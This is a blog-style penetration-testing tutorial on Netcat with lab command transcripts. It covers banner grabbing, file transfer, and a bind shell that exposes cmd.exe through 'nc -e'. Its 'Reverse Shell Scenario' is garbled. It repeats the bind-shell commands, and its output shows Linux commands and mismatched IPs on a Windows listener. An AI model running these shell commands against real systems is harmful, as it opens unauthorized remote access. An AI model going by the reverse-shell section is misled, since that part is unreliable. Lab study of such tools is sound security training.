congdong007

Penetration Test、Software Developer

0%

Netcat

Netcat first released in 1995(!) by Hobbit is one of the “original” network penetration testing
tools and is so versatile that it lives up to the author’s designation as a hacker’s “Swiss army knife”.
The clearest definition of Netcat is from Hobbit himself: a simple “utility which reads and writes
data across network connections, using TCP or UDP protocols.

  1. Connecting to a TCP/UDP Port

We can use client mode to connect to any TCP/UDP port, allowing us to:
• Check if a port is open or closed.
• Read a banner from the service listening on a port.
• Connect to a network service manually.

Example:

1
nc -nv 10.11.10.2 110

-n option to skip DNS name resolution;
-v to add some verbosity;

Output:

1
2
3
4
5
6
7
8
(UNKNOWN) [10.11.10.2] 110 (pop3) open
+OK Dovecot ready.
USER offsec
+OK
PASS offsec
-ERR [AUTH] Authentication failed.
quit
+OK Logging out
  1. Listening on a TCP/UDP Port

Example:

First , server start listening:

1
2
3
//From server : 
msfadmin@metasploitable:~$ nc -nlvp 4444
listening on [any] 4444 ...

Then client try to connect server,and send “hello world”:

1
2
3
4
5
//From client : 
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.136 4444
(UNKNOWN) [192.168.244.136] 4444 (?) open
hello world

The server will receive message “hello world”:

1
2
3
4
5
//From server : 
msfadmin@metasploitable:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.244.136] from (UNKNOWN) [192.168.244.140] 47386
hello world
  1. Transferring Files with Netcat

From Server:

1
2
3
//From server : 
C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 > mync.exe
listening on [any] 4444 ...

From client :

1
2
3
4
//From client : 
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.143 4444 < /home/kali/Desktop/nc.exe
(UNKNOWN) [192.168.244.143] 4444 (?) open

Notice that we have not received any feedback from Netcat about our file upload progress. In this
case, since the file we are uploading is small, we can just wait a few seconds, then check whether
the file has been fully uploaded to the Windows machine by attempting to run it:

1
2
3
4
5
6
7
8
9
10
11
C:\Users\Administrator\Desktop\nc>mync -h
[v1.10-47]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
...
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
  1. Netcat Bind Shell Scenario

Run Netcat with the -e option to execute cmd.exe once a connection is made to the listening port:

1
2
C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...

Client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.143 4444
(UNKNOWN) [192.168.244.143] 4444 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\netcat-1.11>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::6d45:b51c:b367:2f09%11
IPv4 Address. . . . . . . . . . . : 192.168.244.143
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.244.2

Tunnel adapter isatap.localdomain:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain

C:\Users\Administrator\Desktop\netcat-1.11>

This is indeed a “gaping security hole”!

  1. Reverse Shell Scenario
    Server:
    1
    2
    C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 -e cmd.exe
    listening on [any] 4444 ...

Client:

1
2
3
┌──(root㉿kali)-[/home/kali/Desktop]
└─# nc -nv 192.168.244.143 4444
(UNKNOWN) [192.168.244.143] 4444 (?) open

Then server side shows like:

1
2
3
4
5
6
7
8
9
C:\Users\Administrator\Desktop\nc> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
connect to [192.168.244.136] from (UNKNOWN) [192.168.244.140] 35156
ls
code.desktop
nc.exe

ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0